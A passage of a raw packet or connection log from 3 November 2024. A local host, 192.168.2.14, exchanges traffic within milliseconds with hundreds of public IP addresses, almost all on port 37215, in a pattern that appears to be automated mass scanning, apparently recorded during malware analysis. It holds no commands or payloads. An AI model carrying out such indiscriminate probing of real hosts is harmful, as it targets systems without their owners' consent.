Nov 3, 2024 15:37:08.467262030 CET	37215	35945	41.110.61.43	192.168.2.14
Nov 3, 2024 15:37:08.467262030 CET	35945	37215	192.168.2.14	156.252.190.15
Nov 3, 2024 15:37:08.467264891 CET	35945	37215	192.168.2.14	156.105.93.217
Nov 3, 2024 15:37:08.467271090 CET	35945	37215	192.168.2.14	156.79.246.188
Nov 3, 2024 15:37:08.467272997 CET	37215	35945	156.73.198.116	192.168.2.14
Nov 3, 2024 15:37:08.467282057 CET	37215	35945	156.94.115.208	192.168.2.14
Nov 3, 2024 15:37:08.467298031 CET	35945	37215	192.168.2.14	156.73.198.116
Nov 3, 2024 15:37:08.467299938 CET	35945	37215	192.168.2.14	41.110.61.43
Nov 3, 2024 15:37:08.467303038 CET	35945	37215	192.168.2.14	156.94.115.208
Nov 3, 2024 15:37:08.467358112 CET	37215	35945	156.178.161.125	192.168.2.14
Nov 3, 2024 15:37:08.467369080 CET	37215	35945	41.81.218.198	192.168.2.14
Nov 3, 2024 15:37:08.467377901 CET	37215	35945	197.237.120.56	192.168.2.14
Nov 3, 2024 15:37:08.467391014 CET	37215	35945	41.124.100.105	192.168.2.14
Nov 3, 2024 15:37:08.467396975 CET	35945	37215	192.168.2.14	156.178.161.125
Nov 3, 2024 15:37:08.467397928 CET	35945	37215	192.168.2.14	41.81.218.198
Nov 3, 2024 15:37:08.467406034 CET	37215	35945	156.75.31.38	192.168.2.14
Nov 3, 2024 15:37:08.467407942 CET	35945	37215	192.168.2.14	197.237.120.56
Nov 3, 2024 15:37:08.467416048 CET	37215	35945	197.168.105.0	192.168.2.14
Nov 3, 2024 15:37:08.467417002 CET	35945	37215	192.168.2.14	41.124.100.105
Nov 3, 2024 15:37:08.467427015 CET	37215	35945	41.116.76.59	192.168.2.14
Nov 3, 2024 15:37:08.467437029 CET	37215	35945	41.170.82.40	192.168.2.14
Nov 3, 2024 15:37:08.467438936 CET	35945	37215	192.168.2.14	156.75.31.38
Nov 3, 2024 15:37:08.467448950 CET	37215	35945	156.62.132.188	192.168.2.14
Nov 3, 2024 15:37:08.467456102 CET	35945	37215	192.168.2.14	197.168.105.0
Nov 3, 2024 15:37:08.467456102 CET	35945	37215	192.168.2.14	41.116.76.59
Nov 3, 2024 15:37:08.467459917 CET	37215	35945	156.65.148.244	192.168.2.14
Nov 3, 2024 15:37:08.467466116 CET	35945	37215	192.168.2.14	41.170.82.40
Nov 3, 2024 15:37:08.467469931 CET	37215	35945	197.73.50.52	192.168.2.14
Nov 3, 2024 15:37:08.467478991 CET	35945	37215	192.168.2.14	156.62.132.188
Nov 3, 2024 15:37:08.467479944 CET	37215	35945	197.82.192.210	192.168.2.14
Nov 3, 2024 15:37:08.467489958 CET	37215	35945	156.187.208.176	192.168.2.14
Nov 3, 2024 15:37:08.467492104 CET	35945	37215	192.168.2.14	156.65.148.244
Nov 3, 2024 15:37:08.467499971 CET	37215	35945	197.77.226.77	192.168.2.14
Nov 3, 2024 15:37:08.467504025 CET	35945	37215	192.168.2.14	197.73.50.52
Nov 3, 2024 15:37:08.467509985 CET	35945	37215	192.168.2.14	197.82.192.210
Nov 3, 2024 15:37:08.467510939 CET	37215	35945	41.64.121.123	192.168.2.14
Nov 3, 2024 15:37:08.467519999 CET	35945	37215	192.168.2.14	156.187.208.176
Nov 3, 2024 15:37:08.467521906 CET	37215	35945	197.65.50.117	192.168.2.14
Nov 3, 2024 15:37:08.467539072 CET	35945	37215	192.168.2.14	197.77.226.77
Nov 3, 2024 15:37:08.467540026 CET	35945	37215	192.168.2.14	41.64.121.123
Nov 3, 2024 15:37:08.467556000 CET	35945	37215	192.168.2.14	197.65.50.117
Nov 3, 2024 15:37:08.467897892 CET	37215	35945	197.149.180.27	192.168.2.14
Nov 3, 2024 15:37:08.467909098 CET	37215	35945	156.72.20.147	192.168.2.14
Nov 3, 2024 15:37:08.467916965 CET	37215	35945	41.208.63.119	192.168.2.14
Nov 3, 2024 15:37:08.467927933 CET	37215	35945	156.100.58.82	192.168.2.14
Nov 3, 2024 15:37:08.467936993 CET	37215	35945	156.25.86.246	192.168.2.14
Nov 3, 2024 15:37:08.467937946 CET	35945	37215	192.168.2.14	197.149.180.27
Nov 3, 2024 15:37:08.467937946 CET	35945	37215	192.168.2.14	156.72.20.147
Nov 3, 2024 15:37:08.467947006 CET	37215	35945	156.32.187.219	192.168.2.14
Nov 3, 2024 15:37:08.467955112 CET	35945	37215	192.168.2.14	41.208.63.119
Nov 3, 2024 15:37:08.467955112 CET	35945	37215	192.168.2.14	156.100.58.82
Nov 3, 2024 15:37:08.467957020 CET	37215	35945	41.24.186.179	192.168.2.14
Nov 3, 2024 15:37:08.467963934 CET	35945	37215	192.168.2.14	156.25.86.246
Nov 3, 2024 15:37:08.467967987 CET	37215	35945	197.72.90.5	192.168.2.14
Nov 3, 2024 15:37:08.467977047 CET	35945	37215	192.168.2.14	156.32.187.219
Nov 3, 2024 15:37:08.467984915 CET	35945	37215	192.168.2.14	41.24.186.179
Nov 3, 2024 15:37:08.467988014 CET	37215	35945	197.244.133.121	192.168.2.14
Nov 3, 2024 15:37:08.467994928 CET	35945	37215	192.168.2.14	197.72.90.5
Nov 3, 2024 15:37:08.467998981 CET	37215	35945	197.51.53.55	192.168.2.14
Nov 3, 2024 15:37:08.468008995 CET	37215	35945	41.123.220.157	192.168.2.14
Nov 3, 2024 15:37:08.468023062 CET	37215	35945	156.57.255.166	192.168.2.14
Nov 3, 2024 15:37:08.468029022 CET	35945	37215	192.168.2.14	197.244.133.121
Nov 3, 2024 15:37:08.468034029 CET	35945	37215	192.168.2.14	197.51.53.55
Nov 3, 2024 15:37:08.468034983 CET	35945	37215	192.168.2.14	41.123.220.157
Nov 3, 2024 15:37:08.468038082 CET	37215	35945	156.35.57.9	192.168.2.14
Nov 3, 2024 15:37:08.468046904 CET	37215	35945	156.45.156.103	192.168.2.14
Nov 3, 2024 15:37:08.468055010 CET	37215	35945	197.247.221.194	192.168.2.14
Nov 3, 2024 15:37:08.468061924 CET	35945	37215	192.168.2.14	156.57.255.166
Nov 3, 2024 15:37:08.468065023 CET	37215	35945	41.121.224.242	192.168.2.14
Nov 3, 2024 15:37:08.468070984 CET	35945	37215	192.168.2.14	156.45.156.103
Nov 3, 2024 15:37:08.468074083 CET	37215	35945	197.14.119.91	192.168.2.14
Nov 3, 2024 15:37:08.468077898 CET	35945	37215	192.168.2.14	156.35.57.9
Nov 3, 2024 15:37:08.468085051 CET	37215	35945	41.245.36.19	192.168.2.14
Nov 3, 2024 15:37:08.468092918 CET	35945	37215	192.168.2.14	41.121.224.242
Nov 3, 2024 15:37:08.468095064 CET	37215	35945	156.146.220.8	192.168.2.14
Nov 3, 2024 15:37:08.468095064 CET	35945	37215	192.168.2.14	197.247.221.194
Nov 3, 2024 15:37:08.468103886 CET	37215	35945	41.55.153.40	192.168.2.14
Nov 3, 2024 15:37:08.468107939 CET	35945	37215	192.168.2.14	41.245.36.19
Nov 3, 2024 15:37:08.468113899 CET	35945	37215	192.168.2.14	197.14.119.91
Nov 3, 2024 15:37:08.468115091 CET	37215	35945	41.140.24.249	192.168.2.14
Nov 3, 2024 15:37:08.468123913 CET	37215	35945	41.91.180.27	192.168.2.14
Nov 3, 2024 15:37:08.468128920 CET	35945	37215	192.168.2.14	156.146.220.8
Nov 3, 2024 15:37:08.468132019 CET	35945	37215	192.168.2.14	41.55.153.40
Nov 3, 2024 15:37:08.468142033 CET	37215	35945	156.203.233.92	192.168.2.14
Nov 3, 2024 15:37:08.468149900 CET	35945	37215	192.168.2.14	41.91.180.27
Nov 3, 2024 15:37:08.468153000 CET	35945	37215	192.168.2.14	41.140.24.249
Nov 3, 2024 15:37:08.468158007 CET	37215	35945	197.239.31.222	192.168.2.14
Nov 3, 2024 15:37:08.468168974 CET	37215	35945	41.99.4.242	192.168.2.14
Nov 3, 2024 15:37:08.468177080 CET	35945	37215	192.168.2.14	156.203.233.92
Nov 3, 2024 15:37:08.468194962 CET	35945	37215	192.168.2.14	41.99.4.242
Nov 3, 2024 15:37:08.468194962 CET	35945	37215	192.168.2.14	197.239.31.222
Nov 3, 2024 15:37:08.468267918 CET	37215	35945	156.1.197.27	192.168.2.14
Nov 3, 2024 15:37:08.468277931 CET	37215	35945	197.68.141.179	192.168.2.14
Nov 3, 2024 15:37:08.468286037 CET	37215	35945	197.36.219.165	192.168.2.14
Nov 3, 2024 15:37:08.468297005 CET	37215	35945	197.173.226.251	192.168.2.14
Nov 3, 2024 15:37:08.468306065 CET	35945	37215	192.168.2.14	156.1.197.27
Nov 3, 2024 15:37:08.468307972 CET	37215	35945	156.215.238.162	192.168.2.14
Nov 3, 2024 15:37:08.468307972 CET	35945	37215	192.168.2.14	197.36.219.165
Nov 3, 2024 15:37:08.468308926 CET	35945	37215	192.168.2.14	197.68.141.179
Nov 3, 2024 15:37:08.468317986 CET	37215	35945	41.59.95.34	192.168.2.14
Nov 3, 2024 15:37:08.468327045 CET	37215	35945	156.99.216.209	192.168.2.14
Nov 3, 2024 15:37:08.468327999 CET	35945	37215	192.168.2.14	197.173.226.251
Nov 3, 2024 15:37:08.468333006 CET	35945	37215	192.168.2.14	156.215.238.162
Nov 3, 2024 15:37:08.468336105 CET	37215	35945	197.83.169.153	192.168.2.14
Nov 3, 2024 15:37:08.468355894 CET	37215	35945	41.173.42.20	192.168.2.14
Nov 3, 2024 15:37:08.468362093 CET	35945	37215	192.168.2.14	156.99.216.209
Nov 3, 2024 15:37:08.468364000 CET	35945	37215	192.168.2.14	41.59.95.34
Nov 3, 2024 15:37:08.468364000 CET	37215	35945	197.158.205.166	192.168.2.14
Nov 3, 2024 15:37:08.468373060 CET	37215	35945	197.104.105.200	192.168.2.14
Nov 3, 2024 15:37:08.468374968 CET	35945	37215	192.168.2.14	197.83.169.153
Nov 3, 2024 15:37:08.468383074 CET	37215	35945	41.151.96.59	192.168.2.14
Nov 3, 2024 15:37:08.468385935 CET	35945	37215	192.168.2.14	41.173.42.20
Nov 3, 2024 15:37:08.468393087 CET	37215	35945	197.120.32.59	192.168.2.14
Nov 3, 2024 15:37:08.468399048 CET	35945	37215	192.168.2.14	197.158.205.166
Nov 3, 2024 15:37:08.468399048 CET	35945	37215	192.168.2.14	197.104.105.200
Nov 3, 2024 15:37:08.468403101 CET	37215	35945	156.85.157.22	192.168.2.14
Nov 3, 2024 15:37:08.468410969 CET	37215	35945	41.90.238.22	192.168.2.14
Nov 3, 2024 15:37:08.468413115 CET	35945	37215	192.168.2.14	41.151.96.59
Nov 3, 2024 15:37:08.468420982 CET	37215	35945	41.197.148.234	192.168.2.14
Nov 3, 2024 15:37:08.468422890 CET	35945	37215	192.168.2.14	197.120.32.59
Nov 3, 2024 15:37:08.468429089 CET	35945	37215	192.168.2.14	156.85.157.22
Nov 3, 2024 15:37:08.468437910 CET	37215	35945	197.50.242.100	192.168.2.14
Nov 3, 2024 15:37:08.468444109 CET	35945	37215	192.168.2.14	41.90.238.22
Nov 3, 2024 15:37:08.468446970 CET	35945	37215	192.168.2.14	41.197.148.234
Nov 3, 2024 15:37:08.468456030 CET	37215	35945	156.154.46.55	192.168.2.14
Nov 3, 2024 15:37:08.468465090 CET	37215	35945	156.246.196.31	192.168.2.14
Nov 3, 2024 15:37:08.468472958 CET	35945	37215	192.168.2.14	197.50.242.100
Nov 3, 2024 15:37:08.468481064 CET	37215	35945	156.1.175.26	192.168.2.14
Nov 3, 2024 15:37:08.468488932 CET	37215	35945	41.0.36.115	192.168.2.14
Nov 3, 2024 15:37:08.468493938 CET	35945	37215	192.168.2.14	156.154.46.55
Nov 3, 2024 15:37:08.468496084 CET	35945	37215	192.168.2.14	156.246.196.31
Nov 3, 2024 15:37:08.468497992 CET	37215	35945	156.249.84.186	192.168.2.14
Nov 3, 2024 15:37:08.468508005 CET	37215	35945	41.57.195.204	192.168.2.14
Nov 3, 2024 15:37:08.468513966 CET	35945	37215	192.168.2.14	156.1.175.26
Nov 3, 2024 15:37:08.468513966 CET	35945	37215	192.168.2.14	41.0.36.115
Nov 3, 2024 15:37:08.468517065 CET	37215	35945	197.144.190.215	192.168.2.14
Nov 3, 2024 15:37:08.468525887 CET	37215	35945	197.168.207.218	192.168.2.14
Nov 3, 2024 15:37:08.468525887 CET	35945	37215	192.168.2.14	156.249.84.186
Nov 3, 2024 15:37:08.468534946 CET	37215	35945	197.3.30.146	192.168.2.14
Nov 3, 2024 15:37:08.468539953 CET	35945	37215	192.168.2.14	41.57.195.204
Nov 3, 2024 15:37:08.468549013 CET	35945	37215	192.168.2.14	197.168.207.218
Nov 3, 2024 15:37:08.468549967 CET	35945	37215	192.168.2.14	197.144.190.215
Nov 3, 2024 15:37:08.468564987 CET	35945	37215	192.168.2.14	197.3.30.146
Nov 3, 2024 15:37:08.468919039 CET	37215	35945	41.202.98.193	192.168.2.14
Nov 3, 2024 15:37:08.468928099 CET	37215	35945	41.120.102.147	192.168.2.14
Nov 3, 2024 15:37:08.468936920 CET	37215	35945	156.147.164.109	192.168.2.14
Nov 3, 2024 15:37:08.468949080 CET	37215	35945	156.130.12.220	192.168.2.14
Nov 3, 2024 15:37:08.468955994 CET	35945	37215	192.168.2.14	41.202.98.193
Nov 3, 2024 15:37:08.468960047 CET	35945	37215	192.168.2.14	41.120.102.147
Nov 3, 2024 15:37:08.468964100 CET	37215	35945	41.187.40.170	192.168.2.14
Nov 3, 2024 15:37:08.468970060 CET	35945	37215	192.168.2.14	156.147.164.109
Nov 3, 2024 15:37:08.468975067 CET	37215	35945	156.166.164.0	192.168.2.14
Nov 3, 2024 15:37:08.468983889 CET	35945	37215	192.168.2.14	156.130.12.220
Nov 3, 2024 15:37:08.468985081 CET	37215	35945	197.146.222.70	192.168.2.14
Nov 3, 2024 15:37:08.468996048 CET	37215	35945	41.104.134.176	192.168.2.14
Nov 3, 2024 15:37:08.468997002 CET	35945	37215	192.168.2.14	41.187.40.170
Nov 3, 2024 15:37:08.469013929 CET	35945	37215	192.168.2.14	197.146.222.70
Nov 3, 2024 15:37:08.469013929 CET	35945	37215	192.168.2.14	156.166.164.0
Nov 3, 2024 15:37:08.469014883 CET	37215	35945	197.180.247.83	192.168.2.14
Nov 3, 2024 15:37:08.469026089 CET	37215	35945	156.1.29.107	192.168.2.14
Nov 3, 2024 15:37:08.469036102 CET	37215	35945	156.135.86.124	192.168.2.14
Nov 3, 2024 15:37:08.469037056 CET	35945	37215	192.168.2.14	41.104.134.176
Nov 3, 2024 15:37:08.469046116 CET	35945	37215	192.168.2.14	197.180.247.83
Nov 3, 2024 15:37:08.469047070 CET	37215	35945	197.187.11.183	192.168.2.14
Nov 3, 2024 15:37:08.469053030 CET	35945	37215	192.168.2.14	156.1.29.107
Nov 3, 2024 15:37:08.469059944 CET	37215	35945	197.160.111.112	192.168.2.14
Nov 3, 2024 15:37:08.469062090 CET	35945	37215	192.168.2.14	156.135.86.124
Nov 3, 2024 15:37:08.469069004 CET	37215	35945	41.129.72.93	192.168.2.14
Nov 3, 2024 15:37:08.469077110 CET	37215	35945	156.225.238.60	192.168.2.14
Nov 3, 2024 15:37:08.469079971 CET	35945	37215	192.168.2.14	197.187.11.183
Nov 3, 2024 15:37:08.469086885 CET	37215	35945	197.136.16.17	192.168.2.14
Nov 3, 2024 15:37:08.469095945 CET	35945	37215	192.168.2.14	197.160.111.112
Nov 3, 2024 15:37:08.469096899 CET	35945	37215	192.168.2.14	41.129.72.93
Nov 3, 2024 15:37:08.469099045 CET	35945	37215	192.168.2.14	156.225.238.60
Nov 3, 2024 15:37:08.469103098 CET	37215	35945	156.244.173.36	192.168.2.14
Nov 3, 2024 15:37:08.469113111 CET	37215	35945	156.58.86.200	192.168.2.14
Nov 3, 2024 15:37:08.469116926 CET	35945	37215	192.168.2.14	197.136.16.17
Nov 3, 2024 15:37:08.469121933 CET	37215	35945	197.95.159.78	192.168.2.14
Nov 3, 2024 15:37:08.469131947 CET	37215	35945	41.76.210.19	192.168.2.14
Nov 3, 2024 15:37:08.469139099 CET	35945	37215	192.168.2.14	156.244.173.36
Nov 3, 2024 15:37:08.469141006 CET	35945	37215	192.168.2.14	156.58.86.200
Nov 3, 2024 15:37:08.469151020 CET	37215	35945	197.251.127.31	192.168.2.14
Nov 3, 2024 15:37:08.469156981 CET	35945	37215	192.168.2.14	197.95.159.78
Nov 3, 2024 15:37:08.469165087 CET	37215	35945	197.33.84.186	192.168.2.14
Nov 3, 2024 15:37:08.469170094 CET	35945	37215	192.168.2.14	41.76.210.19
Nov 3, 2024 15:37:08.469173908 CET	37215	35945	197.2.167.250	192.168.2.14
Nov 3, 2024 15:37:08.469182014 CET	35945	37215	192.168.2.14	197.251.127.31
Nov 3, 2024 15:37:08.469191074 CET	37215	35945	197.102.194.114	192.168.2.14
Nov 3, 2024 15:37:08.469194889 CET	35945	37215	192.168.2.14	197.33.84.186
Nov 3, 2024 15:37:08.469199896 CET	37215	35945	197.35.158.151	192.168.2.14
Nov 3, 2024 15:37:08.469204903 CET	35945	37215	192.168.2.14	197.2.167.250
Nov 3, 2024 15:37:08.469208956 CET	37215	35945	156.45.115.228	192.168.2.14
Nov 3, 2024 15:37:08.469219923 CET	37215	35945	197.164.35.46	192.168.2.14
Nov 3, 2024 15:37:08.469222069 CET	35945	37215	192.168.2.14	197.102.194.114
Nov 3, 2024 15:37:08.469229937 CET	35945	37215	192.168.2.14	197.35.158.151
Nov 3, 2024 15:37:08.469237089 CET	37215	35945	197.92.200.37	192.168.2.14
Nov 3, 2024 15:37:08.469239950 CET	35945	37215	192.168.2.14	156.45.115.228
Nov 3, 2024 15:37:08.469254971 CET	35945	37215	192.168.2.14	197.164.35.46
Nov 3, 2024 15:37:08.469271898 CET	35945	37215	192.168.2.14	197.92.200.37
Nov 3, 2024 15:37:08.469340086 CET	37215	35945	41.13.26.128	192.168.2.14
Nov 3, 2024 15:37:08.469348907 CET	37215	35945	197.44.46.107	192.168.2.14
Nov 3, 2024 15:37:08.469356060 CET	37215	35945	156.23.131.141	192.168.2.14
Nov 3, 2024 15:37:08.469369888 CET	35945	37215	192.168.2.14	41.13.26.128
Nov 3, 2024 15:37:08.469378948 CET	35945	37215	192.168.2.14	197.44.46.107
Nov 3, 2024 15:37:08.469381094 CET	35945	37215	192.168.2.14	156.23.131.141
Nov 3, 2024 15:37:08.469422102 CET	37215	35945	41.163.98.205	192.168.2.14
Nov 3, 2024 15:37:08.469430923 CET	37215	35945	197.248.17.125	192.168.2.14
Nov 3, 2024 15:37:08.469439030 CET	37215	35945	41.61.74.248	192.168.2.14
Nov 3, 2024 15:37:08.469448090 CET	37215	35945	41.75.250.221	192.168.2.14
Nov 3, 2024 15:37:08.469456911 CET	37215	35945	197.185.161.126	192.168.2.14
Nov 3, 2024 15:37:08.469460011 CET	35945	37215	192.168.2.14	197.248.17.125
Nov 3, 2024 15:37:08.469465017 CET	37215	35945	41.44.35.108	192.168.2.14
Nov 3, 2024 15:37:08.469468117 CET	35945	37215	192.168.2.14	41.163.98.205
Nov 3, 2024 15:37:08.469475031 CET	35945	37215	192.168.2.14	41.75.250.221
Nov 3, 2024 15:37:08.469477892 CET	37215	35945	197.91.183.217	192.168.2.14
Nov 3, 2024 15:37:08.469479084 CET	35945	37215	192.168.2.14	41.61.74.248
Nov 3, 2024 15:37:08.469484091 CET	35945	37215	192.168.2.14	197.185.161.126
Nov 3, 2024 15:37:08.469487906 CET	37215	35945	197.187.97.49	192.168.2.14
Nov 3, 2024 15:37:08.469496965 CET	35945	37215	192.168.2.14	41.44.35.108
Nov 3, 2024 15:37:08.469505072 CET	37215	35945	197.196.165.187	192.168.2.14
Nov 3, 2024 15:37:08.469510078 CET	35945	37215	192.168.2.14	197.91.183.217
Nov 3, 2024 15:37:08.469522953 CET	37215	35945	156.249.198.9	192.168.2.14
Nov 3, 2024 15:37:08.469528913 CET	35945	37215	192.168.2.14	197.187.97.49
Nov 3, 2024 15:37:08.469533920 CET	37215	35945	41.3.6.210	192.168.2.14
Nov 3, 2024 15:37:08.469538927 CET	35945	37215	192.168.2.14	197.196.165.187
Nov 3, 2024 15:37:08.469543934 CET	37215	35945	197.101.82.229	192.168.2.14
Nov 3, 2024 15:37:08.469554901 CET	37215	35945	41.184.127.132	192.168.2.14
Nov 3, 2024 15:37:08.469562054 CET	35945	37215	192.168.2.14	41.3.6.210
Nov 3, 2024 15:37:08.469566107 CET	37215	35945	41.103.151.72	192.168.2.14
Nov 3, 2024 15:37:08.469567060 CET	35945	37215	192.168.2.14	156.249.198.9
Nov 3, 2024 15:37:08.469568014 CET	35945	37215	192.168.2.14	197.101.82.229
Nov 3, 2024 15:37:08.469575882 CET	37215	35945	197.90.96.175	192.168.2.14
Nov 3, 2024 15:37:08.469584942 CET	37215	35945	197.144.31.142	192.168.2.14
Nov 3, 2024 15:37:08.469594955 CET	37215	35945	41.220.144.137	192.168.2.14
Nov 3, 2024 15:37:08.469604969 CET	37215	35945	156.155.143.143	192.168.2.14
Nov 3, 2024 15:37:08.469604969 CET	35945	37215	192.168.2.14	41.184.127.132
Nov 3, 2024 15:37:08.469608068 CET	35945	37215	192.168.2.14	197.90.96.175
Nov 3, 2024 15:37:08.469609022 CET	35945	37215	192.168.2.14	41.103.151.72
Nov 3, 2024 15:37:08.469615936 CET	37215	35945	41.38.167.23	192.168.2.14
Nov 3, 2024 15:37:08.469620943 CET	35945	37215	192.168.2.14	197.144.31.142
Nov 3, 2024 15:37:08.469624996 CET	35945	37215	192.168.2.14	41.220.144.137
Nov 3, 2024 15:37:08.469630003 CET	37215	35945	41.139.158.101	192.168.2.14
Nov 3, 2024 15:37:08.469640017 CET	37215	35945	41.171.160.77	192.168.2.14
Nov 3, 2024 15:37:08.469646931 CET	35945	37215	192.168.2.14	156.155.143.143
Nov 3, 2024 15:37:08.469650030 CET	37215	35945	197.84.205.133	192.168.2.14
Nov 3, 2024 15:37:08.469650984 CET	35945	37215	192.168.2.14	41.38.167.23
Nov 3, 2024 15:37:08.469659090 CET	35945	37215	192.168.2.14	41.139.158.101
Nov 3, 2024 15:37:08.469660044 CET	37215	35945	156.16.223.47	192.168.2.14
Nov 3, 2024 15:37:08.469670057 CET	37215	35945	197.145.129.207	192.168.2.14
Nov 3, 2024 15:37:08.469674110 CET	35945	37215	192.168.2.14	41.171.160.77
Nov 3, 2024 15:37:08.469681025 CET	37215	35945	197.17.55.119	192.168.2.14
Nov 3, 2024 15:37:08.469688892 CET	35945	37215	192.168.2.14	197.84.205.133
Nov 3, 2024 15:37:08.469688892 CET	35945	37215	192.168.2.14	156.16.223.47
Nov 3, 2024 15:37:08.469700098 CET	35945	37215	192.168.2.14	197.145.129.207
Nov 3, 2024 15:37:08.469710112 CET	35945	37215	192.168.2.14	197.17.55.119
Nov 3, 2024 15:37:08.469866037 CET	37215	35945	156.17.89.209	192.168.2.14
Nov 3, 2024 15:37:08.469875097 CET	37215	35945	156.34.208.199	192.168.2.14
Nov 3, 2024 15:37:08.469880104 CET	37215	35945	41.234.36.52	192.168.2.14
Nov 3, 2024 15:37:08.469882965 CET	37215	35945	156.101.6.109	192.168.2.14
Nov 3, 2024 15:37:08.469892025 CET	37215	35945	197.226.78.168	192.168.2.14
Nov 3, 2024 15:37:08.469901085 CET	37215	60092	197.127.15.67	192.168.2.14
Nov 3, 2024 15:37:08.469902039 CET	35945	37215	192.168.2.14	156.17.89.209
Nov 3, 2024 15:37:08.469904900 CET	35945	37215	192.168.2.14	156.34.208.199
Nov 3, 2024 15:37:08.469904900 CET	35945	37215	192.168.2.14	41.234.36.52
Nov 3, 2024 15:37:08.469918013 CET	37215	35264	156.201.202.122	192.168.2.14
Nov 3, 2024 15:37:08.469924927 CET	35945	37215	192.168.2.14	197.226.78.168
Nov 3, 2024 15:37:08.469924927 CET	35945	37215	192.168.2.14	156.101.6.109
Nov 3, 2024 15:37:08.469934940 CET	37215	45328	197.4.84.67	192.168.2.14
Nov 3, 2024 15:37:08.469937086 CET	60092	37215	192.168.2.14	197.127.15.67
Nov 3, 2024 15:37:08.469944954 CET	37215	44194	41.118.32.70	192.168.2.14
Nov 3, 2024 15:37:08.469950914 CET	35264	37215	192.168.2.14	156.201.202.122
Nov 3, 2024 15:37:08.469965935 CET	37215	57424	197.43.82.24	192.168.2.14
Nov 3, 2024 15:37:08.469971895 CET	45328	37215	192.168.2.14	197.4.84.67
Nov 3, 2024 15:37:08.469973087 CET	44194	37215	192.168.2.14	41.118.32.70
Nov 3, 2024 15:37:08.469980955 CET	37215	60850	197.152.148.149	192.168.2.14
Nov 3, 2024 15:37:08.469984055 CET	42148	37215	192.168.2.14	156.7.194.104
Nov 3, 2024 15:37:08.469986916 CET	33292	37215	192.168.2.14	156.52.237.20
Nov 3, 2024 15:37:08.469997883 CET	57424	37215	192.168.2.14	197.43.82.24
Nov 3, 2024 15:37:08.470007896 CET	60850	37215	192.168.2.14	197.152.148.149
Nov 3, 2024 15:37:08.470015049 CET	54518	37215	192.168.2.14	197.121.220.202
Nov 3, 2024 15:37:08.470037937 CET	52910	37215	192.168.2.14	41.151.65.83
Nov 3, 2024 15:37:08.470050097 CET	54724	37215	192.168.2.14	197.194.109.22
Nov 3, 2024 15:37:08.470058918 CET	41514	37215	192.168.2.14	156.13.60.154
Nov 3, 2024 15:37:08.470065117 CET	53708	37215	192.168.2.14	41.10.157.251
Nov 3, 2024 15:37:08.470071077 CET	55190	37215	192.168.2.14	197.150.58.29
Nov 3, 2024 15:37:08.470091105 CET	46196	37215	192.168.2.14	197.152.142.106
Nov 3, 2024 15:37:08.470093966 CET	40290	37215	192.168.2.14	156.89.176.60
Nov 3, 2024 15:37:08.470108032 CET	40800	37215	192.168.2.14	197.156.175.111
Nov 3, 2024 15:37:08.470110893 CET	51830	37215	192.168.2.14	197.83.38.26
Nov 3, 2024 15:37:08.470113039 CET	47388	37215	192.168.2.14	156.134.113.99
Nov 3, 2024 15:37:08.470122099 CET	58048	37215	192.168.2.14	41.165.77.206
Nov 3, 2024 15:37:08.470134974 CET	56916	37215	192.168.2.14	41.222.185.122
Nov 3, 2024 15:37:08.470144033 CET	42078	37215	192.168.2.14	41.183.20.101
Nov 3, 2024 15:37:08.470156908 CET	42860	37215	192.168.2.14	197.58.202.7
Nov 3, 2024 15:37:08.470170021 CET	58094	37215	192.168.2.14	41.244.244.133
Nov 3, 2024 15:37:08.470170975 CET	33942	37215	192.168.2.14	197.3.226.84
Nov 3, 2024 15:37:08.470190048 CET	59612	37215	192.168.2.14	41.210.172.220
Nov 3, 2024 15:37:08.470191956 CET	42210	37215	192.168.2.14	41.156.187.190
Nov 3, 2024 15:37:08.470202923 CET	58780	37215	192.168.2.14	156.240.132.73
Nov 3, 2024 15:37:08.470217943 CET	44948	37215	192.168.2.14	197.221.48.42
Nov 3, 2024 15:37:08.470218897 CET	45912	37215	192.168.2.14	156.3.68.118
Nov 3, 2024 15:37:08.470235109 CET	34450	37215	192.168.2.14	41.76.90.76
Nov 3, 2024 15:37:08.470237017 CET	51090	37215	192.168.2.14	197.186.94.152
Nov 3, 2024 15:37:08.470252037 CET	49894	37215	192.168.2.14	156.82.171.243
Nov 3, 2024 15:37:08.470259905 CET	60990	37215	192.168.2.14	197.101.24.187
Nov 3, 2024 15:37:08.470268965 CET	48398	37215	192.168.2.14	197.203.30.80
Nov 3, 2024 15:37:08.470269918 CET	52090	37215	192.168.2.14	41.54.97.120
Nov 3, 2024 15:37:08.470279932 CET	60024	37215	192.168.2.14	41.7.176.72
Nov 3, 2024 15:37:08.470297098 CET	45636	37215	192.168.2.14	156.6.240.146
Nov 3, 2024 15:37:08.470299959 CET	48330	37215	192.168.2.14	197.52.180.114
Nov 3, 2024 15:37:08.470314026 CET	56260	37215	192.168.2.14	41.151.17.247
Nov 3, 2024 15:37:08.470324993 CET	60482	37215	192.168.2.14	41.205.138.252
Nov 3, 2024 15:37:08.470334053 CET	49958	37215	192.168.2.14	156.231.92.232
Nov 3, 2024 15:37:08.470350027 CET	37215	36388	197.74.243.23	192.168.2.14
Nov 3, 2024 15:37:08.470360994 CET	55634	37215	192.168.2.14	197.74.217.151
Nov 3, 2024 15:37:08.470361948 CET	59162	37215	192.168.2.14	41.170.28.241
Nov 3, 2024 15:37:08.470365047 CET	37215	56838	156.178.245.151	192.168.2.14
Nov 3, 2024 15:37:08.470361948 CET	42774	37215	192.168.2.14	41.60.20.249
Nov 3, 2024 15:37:08.470369101 CET	50528	37215	192.168.2.14	41.22.236.138
Nov 3, 2024 15:37:08.470371008 CET	60010	37215	192.168.2.14	41.88.174.183
Nov 3, 2024 15:37:08.470371008 CET	36388	37215	192.168.2.14	197.74.243.23
Nov 3, 2024 15:37:08.470388889 CET	58748	37215	192.168.2.14	197.60.154.142
Nov 3, 2024 15:37:08.470391035 CET	57174	37215	192.168.2.14	156.198.165.118
Nov 3, 2024 15:37:08.470403910 CET	56838	37215	192.168.2.14	156.178.245.151
Nov 3, 2024 15:37:08.470403910 CET	45462	37215	192.168.2.14	197.180.110.71
Nov 3, 2024 15:37:08.470406055 CET	46938	37215	192.168.2.14	197.250.124.146
Nov 3, 2024 15:37:08.470424891 CET	59496	37215	192.168.2.14	197.147.6.122
Nov 3, 2024 15:37:08.470433950 CET	38506	37215	192.168.2.14	41.145.248.74
Nov 3, 2024 15:37:08.470438004 CET	44242	37215	192.168.2.14	197.213.53.56
Nov 3, 2024 15:37:08.470452070 CET	40446	37215	192.168.2.14	41.85.120.162
Nov 3, 2024 15:37:08.470459938 CET	50054	37215	192.168.2.14	41.228.42.126
Nov 3, 2024 15:37:08.470460892 CET	36084	37215	192.168.2.14	197.7.120.21
Nov 3, 2024 15:37:08.470478058 CET	46700	37215	192.168.2.14	41.20.5.150
